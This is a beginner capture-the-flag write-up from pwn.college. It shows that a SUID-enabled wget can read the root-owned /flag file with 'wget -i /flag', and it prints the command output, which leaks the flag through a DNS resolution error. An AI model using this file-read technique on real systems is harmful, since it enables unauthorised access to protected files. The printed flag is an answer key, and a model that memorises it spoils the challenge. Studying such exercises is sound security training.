Challenge Name: wget
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/wget, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/wget
Output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/wget
- The
sin-rwsindicates itβs a SUID binary. wgetruns with root privileges.
π Exploitation
The wget -i option downloads multiple files listed in given file
wget -i /flag
Output:
--2025-07-16 14:25:23-- http://pwn.college%7Be7-8uxknyps3obgq_phy7hh3cny.djtoxwsm0izmyezw%7D/
Resolving pwn.college{e7-8uxknyps3obgq_phy7hh3cny.djtoxwsm0izmyezw} (pwn.college{e7-8uxknyps3obgq_phy7hh3cny.djtoxwsm0izmyezw})... failed: Name or service not known.
wget: unable to resolve host address βpwn.college{e7-8uxknyps3obgq_phy7hh3cny.djtoxwsm0izmyezw}β